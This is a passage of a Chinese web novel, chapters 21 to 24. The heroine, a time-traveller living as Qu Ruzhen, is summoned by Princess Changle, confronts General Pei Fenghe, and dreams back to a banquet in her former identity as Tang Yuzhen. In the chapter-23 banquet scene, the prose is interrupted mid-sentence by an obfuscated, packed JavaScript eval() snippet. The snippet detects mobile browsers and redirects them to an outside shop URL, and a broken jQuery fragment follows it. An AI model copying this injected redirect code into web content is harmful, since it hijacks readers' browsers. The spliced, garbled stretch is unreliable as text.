她实在太独特了,在人群中总能一眼见到,她有些娇气,却又足够勇敢果决,这两种气质共存于一个人,他这一生只见过两个。 那天也是在这玉华楼,她说皮影里的人会成为菟丝子,上一次他听见这种话,也是在唐语蓁嘴里,在她讲那个肖唯安很爱的《红楼》时。 她们总是让他无从判定,心里怀抱着谜一样的期望,却又知道这个猜想之荒谬。 他总是透过她去看别人,其实对她也……不尊重,曲如桢只是曲如桢,不能成为任何人的代替品,这对她们俩——都不尊重,她说过的,不尊重。 他终于算是整理好了自己的思绪,抬眼望着对方清澈见底的眼睛,“劳烦。” 竹徵听见这话,知道她终于能溜了,结果穆常念也在她身后说话,“曲小姐,不要忘记我们的约定啊。” 她想了半天也没想出来是什么约定,得出他纯纯瞎扯的结论。 穆常念这种人神秘又幼稚,却不知道为什么还会有令人害怕的气质。 真矛盾。 她去前面套了车,在回去路上还在想穆常念的那句话,到底是什么呢? 她同他,真的不认识吗? 他一直揪着她不放,究竟是怀疑什么呢? 想着这些,她已缓缓睡着。 再醒来时,她已经到了公主安排的住处。 胡娘子上前迎她,她同胡娘子说笑,但是对方却一副严肃的表情:“曲小姐,公主召见你。” 她顿时疑惑起来,张巡因病而亡,按理来说怪不到她头上,怎么还要找她? “什么事?” 胡娘子方才缓缓地说:“好像是十几年前你被拐卖这件事,听说公主得知你的身份,虽叫你来去自由,但是皇室容不得别人如此漠视朝廷重臣的子嗣。” 这理由听起来颇为奇怪,又像是要追究什么似的,十几年前的拐卖案,到今日也有研究的必要吗? 那么今日,又是谁将要为这件事付出代价呢? 21. 第二十一章 初见公主 屋子内香气氤氲,昌乐公主宋静檀正在摆弄那一方掐丝金香炉。 她今日倒是不像刚来时穿的那般华丽,是她一贯爱穿的白色衣裙,并无繁杂的装饰,配上她那张雍容华贵的脸,总觉得有些违和。 她这张脸实在是贵气,总让人觉得衣服配不上她。 脚步声自外面响起,下人通传:“曲小姐到了。” 她抬手允对方进门,边站起来,她的贴身女使隆梅眼疾手快地上前扶着她。 她到茶几前坐下,并未说什么,隆梅就很迅速地将已烧好的水搁在上头。 她听见对方那略带娇柔的声音:“参见公主。” 于是轻启朱唇,“免礼。” 竹徵伏在地上听见这句话时,方才僵硬地起身,到底是个现代人,整天跪来跪去有些不习惯。 她起身了也不敢妄动,就直愣愣立在一旁,公主说坐她才敢落坐。 她偷偷瞧着公主,那日公主收复女匪,她站的有些远,何况刀架在脖子上,不敢多看。 可现在她近距离看起来,公主的面容非常精致,完美符合大家对一个养在闺中,锦衣华服人的想象。 公主将茶斟好,方才抬眼看她,“这是蒙顶茶。” 竹徵也搞不懂到底是什么,只知道公主给的肯定不差,她只管喝就好。 扣起茶杯端起来时,感受到滚烫的水传递到杯壁,烫得她指尖微缩。 公主清冷的声音也传进她耳朵里:“你幼时被拐卖,如今已是十多年了。” 竹徵微微点头,“回公主,是。” “前几日,张巡见了你突发恶疾死了,本宫着人去查,发现他前些年曾给过一个人大笔钱财。” “这事已过去许久,但是下头的人来报,这个人曾从京城到此地来。” “我今日找你,就是问你愿不愿意去查这桩案子?” 竹徵听见这话才抬起头,公主字里行间全是询问,她甚至找不到破绽,但是作为公主,想查自会有人帮着,怎么轮到她去查呢? 竹徵再行一礼,低头道:“若是公主要草民去,草民自当赴汤蹈火,如若公主问草民,那草民认为,往事已矣,应当向前看。” 公主轻笑一声,却不似轻蔑,“好一句往事已矣。” 竹徵不敢抬头,仍将手抵在额头下,保持着行礼的姿态。 相交之间暗流涌动,竹徵心里惴惴不安,在这段时间所有人里,她最害怕也是最摸不透的人,别人的行为逻辑都有迹可循,可是公主更像是上帝视角俯瞰他们的人。 她每次的行为看似有道理,却缺失最基本的驱动。因此竹徵最看不透她。 但不知为什么,竹徵面对她总有种亲切感,大概是她对这种美丽又温柔的女子天生就喜爱吧。 她仍在等待着公主的回应,手上却忽然有温热的触感,对方的手很暖,触及她时轻轻拍了拍。 “不必勉强。” 她这才敢抬头,公主的眼神温柔缱绻,有种摄人心魄的魔力。 她不禁陷入,上位者不恃强凌弱,给予选择却不强求,公主确实是风华绝代。 她这才坐下,公主亲自给她斟了茶,一眨眼笑靥如花,“请。” 公主没有再提有关拐卖的事,反而同她唠起家常来。 一句“手怎么了?”问出来时竹徵反而愣住。 竹徵今日被问了一回,此时却依旧没有反应过来,她以为公主会问些别的重要的事,没想到竟是这件事,将手抬起来看了看。 今日事情太多,手上的绑带有些松了,白色也沾了些灰,看起来有些旧了。 但是她仍然无法直视自己那双手,总觉得像是鲜血淋漓的模样。 她放下手,长长的睫羽盖下来,“谢公主关心。无甚大碍。” 公主这才悠悠地开口,同她说了些心里话。 “我幼时在宫中,其实也颇为孤单,毕竟先皇已逝,除了皇上,没什么同龄人同我作伴。” “所以我见到你其实很亲切。” “欲买桂花同载酒,终不似,少年游” “今日见到你方才明白,我也回不到少年时了。” 公主几句话下来,竹徵有些动容,公主固然受宠,却久困深宫,身边都是手握重权者,难免遭尽审视。 公主这样的人,能说出这种话必定是不容易,她也不能轻易辜负。 但除此之外,她总觉得那句诗她在哪里见过,转念一想不如说自己离上学已经太远,这些知识都忘了个干净。 但她回握住公主的手,展露出一个明媚的笑容,“公主!我这人是面镜子,他人对我如何,我便也对他人怎样,公主若是愿意,我也愿同公主交心。” “多谢。”公主那张惯为尊贵的脸上也显露出几分温暖笑意,倒真像是冬夜里的暖阳。 竹徵已经完全忘了之前对于公主的怀疑,这时怜惜起来,她向来对女孩子没什么戒备心,况且公主实在是对她的胃口,完全是富婆姐姐类型啊! 钞能力太强大,海棠酥的清香还在她记忆中回荡,一件件华丽的衣裙仍放在她衣柜里,爱不释手, 她笑着看公主有些羞涩微红的脸,心完全被俘获了。 公主又拉着她说了好一会儿女儿家常,方才赏了些衣服首饰放她回去。 走的时候公主还亲自替她插上那支黄金钗,“下回再同我说。” 她笑着说是,转身告退,却没发现在她身后,昌乐公主的轻轻一笑。 ———— 几日后。 竹徵已经决定回京城,但是公主同她说还是得同裴风鹤一起,她虽然那天算是同裴风鹤有交流,但心里终究接受不了他拿她当诱饵,又罔顾那么多人性命的事。 她跟着裴风鹤的小队行进,时不时同胡娘子去周边的城镇逛逛,也时不时给公主带去一些时兴的玩意儿。 但她不愿见到裴风鹤,平日里故意躲着他。 那天胡娘子身体不适,她同其他几位裴风鹤的将士围着篝火聊天。 一位看起来稍微年轻一点的说:“那个新来的,怎么那么没礼貌,上回将军同他说话,他也不怎么搭理。” 另一位略年长的将士用手捅了捅他,眼神向竹徵那瞟过去,才说:“说什么呢!人家可是公主的亲卫长。” 竹徵注意力全在闷着的红 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“京城的上元节最是热闹,那时下了雪,大家都会出门来放花灯祈福。一些年少的男女此时也会去幽会,猜灯谜,买灯笼等等。” “京城里的那条河,那时漂满了大家为祈福放的花灯,铺在整条河上,像一条画卷,点点星光就像银河一样。对了,上元节还要走百病,桥上全是人,熙熙攘攘的,好不热闹。” “还有,冰糖葫芦很好吃,甜甜的。” 她思考着,轻声说了句:“还有麻糖,也……很好吃。” 其他人都沉浸在她的话语中,一瞬间没有听清她的话,纷纷侧头盯着她,“什么?” 她这才反应过来,连忙马虎道:“没什么,我说都是别人告诉我的。” “我也没经历过,很是期待。” 众人方才继续七嘴八舌地说,都是转述,没有一个人见过真正的京城。 不知道谁说了一句,裴将军见过。 场面一下子冷淡下来,没人敢再说话,竹徵想来也是,兵毕竟怕将,刚准备开口打圆场,就听见后面有清冷的声音传来。 “我见过什么?” 竹徵听见这声音就立马回头了,却见到裴风鹤一身铠甲站在身后,威风凛凛。 他今日即便穿着铠甲也没什么杀伐气,但他这一身的威压又震得身边气压极速降低,一时之间竟无人敢开口。 竹徵此刻也被吓得一身冷汗,不知道他听去了多少……但是她作为一个县令夫人,即便有两个去过京城的密友也没事吧? 麻糖那句她说时声音不大,连一起围坐的将士们都没有听清,他多半也没听见。 她如此安慰着自己,在目光触及他的那一霎就立马回头,避开他的目光,有点心虚。 欲盖弥彰,反而更明显。 她此刻已经有些不知所措,索性就起身,放弃自己的红薯,拍拍身上的灰就打算离开。 刚擦过他的肩时,却听见他轻声说:“最近一直在躲我,是不是怕我?” 他没有伸手拦她,却用只有他们两个人能听见的声音悄声说。 明明没有任何僭越之举,却不知为何,他温热的气息喷在她耳旁时,悄悄拨弄了她的心弦。 22. 第二十二章 心结 裴风鹤这几天赶路时发现曲如桢在躲着他。 有几次他去同公主商量事宜时,能看见曲如桢一和公主每每笑作一团,但看到他来时,她脸上的笑容就会消失,然后便找借口离开。 有时他在驻扎的地方见到她,她也当没看见他,直接走开。 想起她那日在地牢里冰冷而又决绝的眼神,他不知道为什么他们之间就如此变为了陌路人。 不过其实这也给了他喘息之机,他终于想通了为什么他会如此不受控。 边疆五年,他的记忆与怀念全部停滞并封存,成为沉溺于海底被遗落的宝藏。 曾经鲜活又特别的那个唐语蓁依旧深刻地印在他的脑海里,在遇见一个似是而非的人时就跳出来左右他的心神。 她们都是一样的生意盎然,哪怕生活是水墨画一般的淡然,都必然要往上头洒些颜色。 他太过思念那样的她,任由自己的情感流向一个本不应该流向的人。 他被自己的思念吞噬,竟做出如此荒唐的臆想,本应敬鬼神而远之,自己却先一步祈求鬼神能留存下她最明艳的样子。 清醒之后他也在怀疑,曲如桢的出现实在太过巧合,她的很多行为与经历也对不上号。 比如她其实被关府里十几年,常年受张巡打骂,性格却如同自由畅行的鸟儿般肆意昂扬。 再比如现在,她明明没有去过京城,说出的那些话却不似转述,反倒像真正经历过一般。 甚至于,不知是不是他错觉的那一句“麻糖”。 虽然非要解释也不是不行,但他总觉得,一个几岁就离京的人,不可能有这么清晰的记忆。 况且……反正是玉佩,一个人能换,两个人也能换。 他怀疑曲如桢的身份,却又在得到确实证据之前必须替肖唯安照顾她。 这样一直互相不打照面也不是办法,于是在她又要逃跑时,他说了那一句话。 他几乎没有过多思考,那句“是怕我吗”就脱口而出,是他下意识地觉得曲如桢同曾经的唐语蓁一样,受不了别人的挑衅吗? 他压下心里杂乱的思绪,听见对方有些不稳的话音:“怎么可能?” 他离得太近,一偏头就能看见曲如桢那照旧的垂云髻,她这几天少见的没有穿华丽的衣袍,反而全是素净的白裙。 她这几天吃喝玩乐,原来瘦削的脸圆润了不少,妖冶之中多了几分可爱,眼神依旧清亮锐利着,他在不禁在心里笑了一下,倒是从来不会苛待自己,这一点也同唐语蓁一样。 他目光下移,看见了她用白绸绑住的手,不是受伤的话,绑成这样,是被什么困住了呢? 他思绪已经飞向别处,当曲如桢抬头看他时,被吓了一跳,往后撤了一步。 头发和首饰也跟随着她的脑袋摇晃了两下,牵引出蓬勃的生命力。从裴风鹤的角度看,她格外像个素净的拨浪鼓。 她那双水灵灵的眼睛望向他时,莫名让他觉得对方不像个夫人,反倒像个少女,她的眼神里没有亲和,更多的是锐利,如同刀锋一样刺中他。 “不过,将军您杀伐果决,确实是良将,我不怕您,却怕您手中利刃。” 他几乎立刻就懂了她在说什么,原来这就是此中关窍。 他的利刃,不就是那一支带到阳泉的小队么? 曲如桢亲身经历了战场,并且晕倒在血泊中。势必不能理解他为什么要出兵,况且此举完全罔顾了她的安全,与他们先前的约定截然不同,即便他当时已经特意让人先保住她。 但他也无法明说,公主的命令如此,此时言明也并不妥当,恐授人以柄。 他思忖了一下,说:“我手中剑,或为良器,但亦可为他人驱使。” 竹徵听见这句话时也很快明白了裴风鹤的意思,公主要收服金虹帮,就派他这个“良器”先去攻,她再乘机出手。 当时那些一直不停靠近的人,应该也是想先保下她的性命。 况且她晕倒后还能在厮杀之中保住一条命,这样也能解释了。 他毕竟是将军,见过世间疾苦,真的要说罔顾性命也该是决策者的决定。 她毕竟早认识裴风鹤几年,还是更相信这个在她记忆里单纯温润的将军。 她的心结已解,此刻却有些放不下面子,仍然在说了一句“知道了”后,就迈开腿要走。 裴风鹤的声音又在此刻响起,她有些不耐烦地顿住脚步,“肖大公子……接了信,明日出城往这边来接你,近日能少出去就少出去吧。” 竹徵听见这句话时有些不知所措,她跟肖唯安只斗过嘴,可从没有做过兄妹,不知道该如何面对这个便宜哥哥。况且她也只是个套了曲如桢壳的老相识,叫他哥哥是小事,要怎么相处却是大事。 没成想到裴风鹤这里,以为她是近乡情怯,有些触动。 他想着,她毕竟是以童养媳的身份在张府待了十几年,不愿意认祖归宗回到牢笼里实属正常,估计也是从小不知如何同人亲近,有些无措。 肖唯安的妹妹,四舍五入也是他的妹妹,他虽怀疑她的身份,可确实是应当照顾她。 “这几日,我先替他照看你。” 竹徵听完更加无语,在他看不见的地方翻了一个大大的白眼,男的爱当哥哥的毛病真是该治了。 “不必了,将军照看好自己就好。”竹徵说完拔腿就走,却迎面撞上另一个人。 来人黑衣夜行,颇具几分鬼魅之气,走路无声,似是飘到她面前,“曲小姐怎么就要走了?” 竹徵望着他那张似笑非笑的脸,总觉得这不离嘴的笑容有点怪异,“穆公子倒是好兴致。” 穆常念踱步过来时,脚步轻得不像话,但他站定于竹徵与裴风鹤之间,身体对着裴风鹤,却微微偏身,用玩味的眼神望着她,“公主说,你们先在此地休整几天,到京畿外分开走。” 竹徵因着他说话,不得不往他那边偏头,有点累,头发上那唯一一支素色流苏簪因着她转头,如此挂在头发旁,遮挡住她的视线。 她 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他想着,以后总得习惯的。到了京城,又会有多少类似的状况出现?他明明知道不是,又凭什么任由自己的情绪发酵? 但看到曲如桢坚定地拒绝他,他还是略微放了一下心,整理了思绪,继而开口道:“肖公子会出京接曲小姐,我会护着她走。” 竹徵这下回头,看着裴风鹤的眼睛,他的眼神不似穆常念的倨傲,而是平淡且温润的,直视着她,却没有黏住她,只是静静地落在她面前,没有让她反感。 穆常念接连碰壁,却仍未忘正事,咬牙切齿地同裴风鹤交流关于汇合事宜。 竹徵这才想起来,多半是公主觉得同他们一起目标太大,干脆一起到京郊跟裴风鹤大军一起入京。 这几日同公主相处下来,她觉得公主在她面前就是那种高中小女孩,她们分享些时兴的玩意和最近风靡的胭脂水粉。 但是公主毕竟是皇家儿女,权利是他们无法脱离的一部分,公主没有算计才不正常。 她到底只是个游子,陪公主玩玩能给自己抱个大腿最好,但她也不至于傻到,真以为她跟公主是什么高山流水的知己。 公主只是缺一个同龄玩伴,那么她扮演这个角色就好。 某种程度上她觉得自己也挺自私的,看着自己缠满布条的手,她现在已经不太会想起那些画面了。 但是遗忘比记得更让她痛苦,她只能反复逼迫自己想起,又不停缠住双手将自己困住,不让自己记起。 前头穆常念在几次讥讽裴风鹤后,终于夹枪带棒地完成了此次商议,他今日丢面,不欲过多停留,抬脚便要走。 竹徵见到他动了,三步并作两步往前挪到他旁边。 “穆公子,有件东西,我怕今日不给你,以后便没有机会了。” 穆常还没出言奚落她,就听见这一句,他又变得饶有兴味起来,用那种逗弄的眼神望着她,声音绵长,“噢?什么东西?” 23. 第二十三章 是谁 竹徵拉着穆常念的衣袖,将他带离篝火,移步到角落。 穆常念抱着臂,颇为感兴趣地望着她。 她抬头看见穆常念那神情,她不太喜欢他那种带着几分轻蔑的眼神,总感觉她被当成了动物,他享受玩弄自己的感觉,于是她眉头一皱,很冷淡地说:“穆公子,有个东西或许是你的。” 她从袖中拿出那方玉色的帕子,上头绣着兰花,一针一线蹩脚但认真。这是她那天从疯女人身上摸到的,这方帕子包着她的玉佩,被女人视若珍宝地保护在胸前。 她看到这帕子的那一刹那,就有一种“绝对不可能是她的”的感觉。 首先帕子是有些脏的,沾了些泥土,但是却被小心保护着,这样名贵的丝绸,即便脏了也没勾丝。如果是她的,那么被保护得那么好,就不太可能不清洗。再者,她确实听曲如桢说过有关玉佩的事,但是帕子是完全没听说过。最后,她拿出玉佩去试探时,无论是帮主还是裴风鹤,都完全没有表现出还有别的东西的样子。 何况兰花在大黎,一般都是男子用的多,同她关系应当不大。 她从穆常念的态度中,感受到他确实对养母有感情,只是他向来狠辣,不懂如何表达,况且养母毕竟让他受尽打骂长大。 如果没有感情,怎么会亲自去替母亲要公道呢? 而那个养母,疯女人,或许也不是完全不爱他,只是……毕竟受尽苦楚,疯癫不受控。 她将那方帕子轻轻夹住,手掌一翻,四指摊开,正好那绣着兰花那面展示出来,“这是……穆夫人身上的,保护得很好,不是我的,我想应当是你的。” 她微抬眼眸,看着前方的穆常念。 穆常念在她拿出手帕的那一刻眼神就变了,原本的吊儿郎当也变成了此刻的严肃,他放下原本抱着的手臂,目光变得锐利。 他想要拿上那方手帕,手却不停地颤抖,几乎不稳,勉强碰上的那一刻,就如同触电般收回手,“拿走吧,不是我的。” 竹徵从方才就一直盯着他,这时候已经见到他这死样子,就知道他说的不像是真的,却在触及他眼眸的那一刻将原本的讽刺收回。 他眼型酷似菩萨,但平日里眼神都是孤高或玩味的,她从未见过他像现在这样,幽深的眸子里溢出几分雾气,浮动着几点星光,她从里头品出一丝脆弱。配上他的眼睛,此刻倒真有那么那么点像悲悯世人的菩萨,邪气都敛了几分。 竹徵心里软了一瞬间,终于还是没有火上浇油,点点头,放下拿着帕子的手,落在身旁。她沉思了一会,方才复又抬头:“穆公子,知道什么是爱吗?” 穆常念似是不懂她的用意,怪怨地看着她,她的眼神恢复了温柔清明,安抚似的朝他微扬了一下嘴角。 “我自小被当成童养媳养在张府,自也是不知道的,但是我见过。” “张府旁曾有一户普通人家,母亲早年受伤失明,却一人将孩子抚养长大。某日孩子回家,母亲却拿刀对着他大砍。” “你知道为什么吗?” 竹徵转过头,看着穆常念,她的眼神仿佛有什么安神的药剂,瞬间安抚了要炸毛的穆常念。 穆常念也不知怎么回事,同她对视后并没有呛声,而是淡淡地说:“因为她疯了。” 竹徵得到这个答案,并不意外地歪了歪脑袋,却没有怨怪,而是将那方手帕缓缓递向面前的人。 “因为哪怕她看不见,也知道面前的人不是自己的儿子。” “对我来说,爱就是,哪怕身处混沌,只要是你,我总能认出来,你的灵魂比皮囊更重要。” 穆常念听了这话,也没有马上接过那方玉色手帕,反而叱道:“歪理邪说。” 这声音太小,竹徵没能听真切,只能凑近了看着对方:“什么?” 穆常念乍一抬头,看见她亮晶晶的眼睛盯着自己,像小鹿一样。 他见过的少女颇多,年少时遇到的,看见他父亲跑江湖,母亲疯癫,都敬而远之。后来父亲一手建立金虹帮,他作为少帮主,处理事情起来杀伐果决,其他少女也大多惧怕他的名头,没说话便躲在一旁。 但是像今日一样敢说教他,又完全不怕他凑上来的,她还是独一份。初见觉得眼熟,为数不多的交锋里也感受到了她蓬勃的勇敢和生机。 倒是真的,很有意思,他或许一直看错了她。 心念一动,面色微红,手上就有些无措了,犹豫了半刻,还是伸手接过来,他的手指微颤。 竹徵没有再说什么,点到为止,多说就是越界了,见他收下手帕,任务达成,抬腿便走。 穆常念却少见地喊了她的名字,“曲如桢!”他的声音清脆,没有像之前那样,话音拖长,幽似鬼魅,反而有些少年之气。 她觉得有些奇怪,但没回头,只是顿下脚步,问:“怎么了?” “回京城后,我请你去如意居吃饭。”穆常念终究说不出“谢谢”二字,只能委婉地提一嘴。 对方似是会意了,招招绑着布条的手,蹦蹦跳跳地走了。 穆常念看着那个背影,在晦暗的夜晚居然如星光闪耀,将这黑夜衬出些别样的光彩。 他的手微凉,摩挲了一下那方带着余温的手帕,想起刚刚她说的话。 难道对面不识,仅仅留下那方手帕,也叫爱么?几经磨难到得如今,已经不会再去怨怪一个已经疯了的人,只是……只是偏执地希望获得一些如同这余温一样,能够短暂点亮他沉寂夜空的东西罢了。 他终究还是将手帕收进袖中,暂时将过往一同埋下。 广阔的黑夜里散落着几颗星星,穆常念转身离开后,一直屏息站在旁边的裴风鹤方才挪动。 “你究竟是谁?”他喃喃自语。 ———— 竹徵回去之后,立马就睡下了。 “小姐,小姐!” 竹徵感受到旁边有人在摇晃她,睁眼就吓了一跳,又穿越了吗? 她看着旁边的女子颇为眼熟,她却毫不犹豫地开口:“扶光。” 看来是又做梦了,她又回到了四年前。 扶光紧张地望着她:“小姐您没事吧?” 她挥挥手,“没事,怎么了?” 扶光支支吾吾地,半天不说话,她有些不耐烦,“快说。” 扶光这才递上帖子,“裴公子约您。” 她听见他的名字就没好气,偏过头也不想看,自从上次帮裴风鹤解围,她没得到好脸色之后,她就一点不愿意搭理他了。 端坐了一刻钟,她没说话,扶光也不敢动,依旧将那帖子递上。 她叹了一口气,无奈地接过,“去回他,我不去,让他以后也别来了。” 扶光没有抬头,轻声说:“是。” 她招招手,扶光却没动,反而是将要跪下来,她感受到对方的动作,腾地一下站起来,慌乱地扶了一下扶光,“说了几次别跪了,有什么事就说。” 扶光后撤两步,虽然没跪,但依旧向她拜了一拜,“裴公子说希望小姐看了再拒绝,扶光本应听小姐的话,直接回过,但扶光也不忍小姐在府里伤心。” 竹徵看着拜她的扶光,心里酸涩起来,明明对方甚至是关心她,但却因为逾矩而不得不这样做。 她轻轻将手垫在扶光伸出的手下,安抚似的拍了拍,“我知道了,另外你去回过父亲,说今日的结果就是他想要的,这门婚事逃不掉了。” 扶光仍旧低头称是,弓着身退出去了。 但竹徵仍在想,这几日在家,父亲多少责怪她行事激进,但是她早就想清楚了,这样的结果,对于说出“这门婚事对我们唐家来说非常重要”的父亲来说,也是好的。 她轻叹一声,今日这个结果,除了对不起真正的唐语蓁,其实对谁都没有坏处。 思考了良久,她打开那张帖子,上面是最近赏花宴的请帖。 她看了一会儿,噗嗤一声笑出来,他倒是很清楚自己想要什么。 她对外称身体不好,所以一直以来,什么宴会父亲都是替她回绝的,她听说这种赏花宴里还有最近时兴的打马球,一直很想去,但是父亲并没允许过。 她看着那用簪花小楷写下的“唐语蓁”三个字,“看来还特意去求了父亲。”她想。 倒确实是下了功夫,对于一个多一事不如少一事的裴公子来说,确实已经不容易了。 她托着腮,手指敲着脸颊,最后决定还是给他个面子,毕竟以后要成婚的,绝不是因为她想去赏花宴。 梳妆时她才开始犯难,虽然说扶光可以帮她,但是以后要是获得了个没仆人的身份,还是不能被当成疯子散着头发乱跑的。 她敬佩自己的先见之明,跟着扶光学了几日,还是只学会了垂云髻,幸好这是时兴的发髻,总不会太过突兀。 于是今日她为了实践,给自己梳了个垂云髻,看着铜镜上自己多出来的几缕头发,她叹了口气,将梳子递回给扶光,“唉,还是你帮我梳吧,我再看看。” 好不容易梳好了,她挑裙子又犯了难,唐语蓁多的是浅色衣裙,可是她喜欢繁琐华丽,今日又是第一次在京中露头脸,她并不想穿着平日里素雅的服饰。 扶光见她犯了难,招招手,下头的女使端着几件流光溢彩的裙子上来,都是最近最炙手可热的阁子里出来的,每一件都不好买。 她眉目一下子舒展开来,眼睛马上亮了,“这是?” 扶光屈膝回道:“是老爷说,既去了,就不要给他丢人。” 竹徵一下乐开了花,原来唐语蓁的爹还是个面冷心热的,此刻就像一个拿到糖葫芦的小孩,一下揽过扶光的肩膀,“来同我一起选!” 扶光明显被吓了一跳,身体都在抖。 竹徵坐上马车,踏入府门时,享受着小厮以及其他许多人的羡慕目光。 她也听见了有些人的窃窃私语,不过一概认为是在夸她。 唐语蓁这张脸娇憨可爱,配上华丽的裙子,倒真没有什么体弱之感。 今日办宴会的就是肖家,好像是为了庆贺肖小姐归家不久,宴请京中名流。 她跟着女使的指引,坐在了女眷席上。身边都是一些她并不认得的女子,她有些不知道坐在哪,只能就近找了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289453|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置。 结果就听见旁边有人在嗤笑,她再愚蠢,也知道此刻应该是坐错了,连忙站起来,旁边有个冷若冰霜,穿着素净的小姐将她推到另一个位置,“坐。” 她抬头,投过去感激的目光,对方却根本没理她,,这时扶光才穿过人群站在她身边,“小姐,东西拿来了。” 她点点头,出门太急忘记带礼物了,她今日就是从首饰盒里挑了个还不错的簪子,让扶光去叫人套车,结果自己马马虎虎忘了东西。 扶光站在她身侧,同她解释了才知道,那是主位,是肖小姐的座位。 她有些尴尬地扶额,都怪她没有好好了解一下这些传统知识,扶光一不在就露馅了,多半她们已经开始讨论她是个绣花枕头了。 不过这种场合不多,她也不甚在意,尴尬劲过了照样探头探脑地观察着这个宴会。 看来肖家为了这个小姐,也是下了功夫的,这宴会上各种吃食陈设,都是她在家里看见的上品。 她悄悄问扶光,那个冷淡的小姐是谁,扶光轻声说:“那是安家小姐。” “安家?那个什么丞相府的?”竹徵悄声问,扶光点头。 她这下知道了,难怪这个安小姐看起来这么冷呢,在坐的大都是摄政王和太后一党的,唐家算是中立,而安家是妥妥的皇帝党,自皇上亲政之后,一直上书让太后回归后宫。 摄政王和太后虽然夺权,但多少在“石马惨案”后有些惺惺相惜的意味,反倒一直坚定地站在皇上阵营的安丞相一家不受待见。 想来也是,二三十位肱骨之臣全部死在祭台上,彼时只是一个尚书的安麓清一跃成为一人之下万人之上的丞相,难免遭人嫉恨。 她看向那个清冷的少女时带了几分善意,对方看见她时,她扬起一个笑,但是对方的目光并没有在她脸上停留。 她别过头去,下人通报说肖小姐来了。 主人家到了,她们自然要站起来迎接,肖小姐身着白衣,上绣木槿花,走动之间花影摇曳,竹徵莫名觉得有点像《茗妃传》这本书的描述。书中的女主角第一次出场,也是这样的打扮。 不知道是什么原因,这位肖小姐同肖唯安并不太相似,肖唯安是个骚包的花花公子,这肖小姐长得倒是颇为清秀。 她举手投足之间,优雅却有些别扭,竹徵觉得那别扭有些熟悉,却想不出来来自哪。 肖小姐也是第一次参与这种场合,却并不拘谨,反而很放的开,像是那种在宴会上很会张罗的人,完全不像孤苦飘零了几年的女子。 第一个凑上前的,就是刚刚那个嗤笑她的人,一身杏色衣裙,传统的小姐打扮,好像刚刚扶光同她说叫什么吴小姐。 这人向肖小姐介绍自己,还帮着一个一个介绍到场的各位小姐,她听见旁边的小姐取笑她,说她尽是些丫鬟做派。 到她时,吴小姐犯了难,反而有些为难般斥问:“这位是哪家小姐?” 她没说话,反而那位肖小姐笑了笑,起身同她示意,“这位是唐家二小姐,唐语蓁。” 竹徵此刻忽略了身边的一片片惊呼声,反而对她的举动很不解,刚刚吴小姐像她的狗腿子一样当面介绍,此刻却主动拆吴小姐的台,只为了向她示好,也不像个心思纯的。 她默了一瞬,随即笑开来:“我平日里身体不适,不怎么出门,粗鄙不入流,让大家见笑了。” 却没有人敢像刚刚那样嘲笑她,而是都畏畏缩缩的,只有那个安小姐依旧孤立地坐在那,不给她一个眼神。 聊的差不多之后,肖小姐张罗大家去院中赏花,说是赏花宴,其实跟相亲没什么差别,赏花时男女宾客会相遇,大多就是相看。 初春可赏的花不多,今日在肖府赏的是牡丹,竹徵记得这天气牡丹还开不了,想是肖家特意为了自己女儿的赏花宴,提前布置过了。 由肖小姐领着的一群小姐很快便碰见了由肖唯安领着的公子们,领头的肖公子看见妹妹就像鸡见到米,立马凑了上来。 女眷这边窃窃私语着,她趁着这时机挪到清冷小姐旁边,“安小姐,你也是来相看的吗?” 空气凝滞了很久,久到竹徵都有些撑不住了,想从旁边遁走,安小姐方才开口,不过也是一个字一个字蹦出来:“不是。” 她自知为难,倒也不勉强,往公子那边看去,像是要好的女眷在一团,公子那边也是几个几个各自为营,裴风鹤远远落在后面,看起来很不合群。 肖小姐刚刚才开口邀请她一起赏,她不喜欢对方的做派,于是拒绝了,此刻许是记了仇,特意没介绍她。 大黎民风开放,但是基本的男女大防是在的,男女间交换了性名,差不多也是看过了,肖小姐像是特意忽略了她,连带着旁边的安小姐也没介绍,粗粗略过就要带着女眷离开。 竹徵并不在乎这个,倒是很没所谓地拔腿就走,但是在整个队伍没有完全走掉时,裴风鹤往前走了两步,问肖唯安:“这是哪家小姐?” 他的声音不大,但是令大家都驻足停留,竹徵看着他所指引的方向,居然是安小姐。 倒确实是有趣。 24. 第二十四章 宴会 安小姐仍是那副巍然不动的样子,她的脸轮廓清晰,棱角分明,如悬于陡峭险崖之上的皎皎孤月。 肖小姐也愣了一下,不过作为体面人,她还是嗔道:“哎呦,看我这记性,两位妹妹落在后面,忘了介绍,这是安小姐,这位是唐小姐。” 肖唯安睨了裴风鹤一眼,似是责怪他让自己的妹妹出糗,但是裴风鹤压根没理他,反而专心致志地盯着竹徵。 竹徵感受到裴风鹤炽热又有些湿润的眼神,仿佛被烫到了,触及之后就马上扭头,装作没看见,只紧紧扒住安小姐的手臂。 安小姐皱了下眉,却并未说什么,任由她拉着。 竹徵心里对裴风鹤刚刚的举动嗤之以鼻,裴风鹤看似说的是安小姐,其实是为了她出头。殊不知他虽明白提到自己显得他俩交际过密,却不知府前求情一事早就闹的沸沸扬扬,此一遭下来,反倒不知那些小姐怎么奚落她未婚夫见异思迁呢。 好心办坏事,她可不想给他好脸色。 男女宾这样便算见过了,本来是要各自归席的,但肖小姐忽然提出要去看马球,竹徵的兴趣一下子被提起来了,从这宴会开始,除了吃食她最好奇的就是马球了。 肖公子对自己妹妹自然是有求必应,当下便应了,还提出来让自己要上场,请大家移步。 本来马球只是男子间的活动,竹徵还在思考怎么偷偷溜进去,这下正中她下怀。 她刚刚一步一步蹭到安小姐身边,此刻已经自然地搭上了她的肩,安小姐回头睨了她一眼,那眼神像冬日寒冰,竹徵颤了一下,不过看安小姐也没开口,就沾沾自喜地依旧贴着她。 什么面冷心热的冰山美人,她超爱啊! 移步到马球场下的少女们已经开始叽叽喳喳地下注,今日上场的除了裴风鹤和肖唯安,还有一些平日里素有名气的骑射能手。 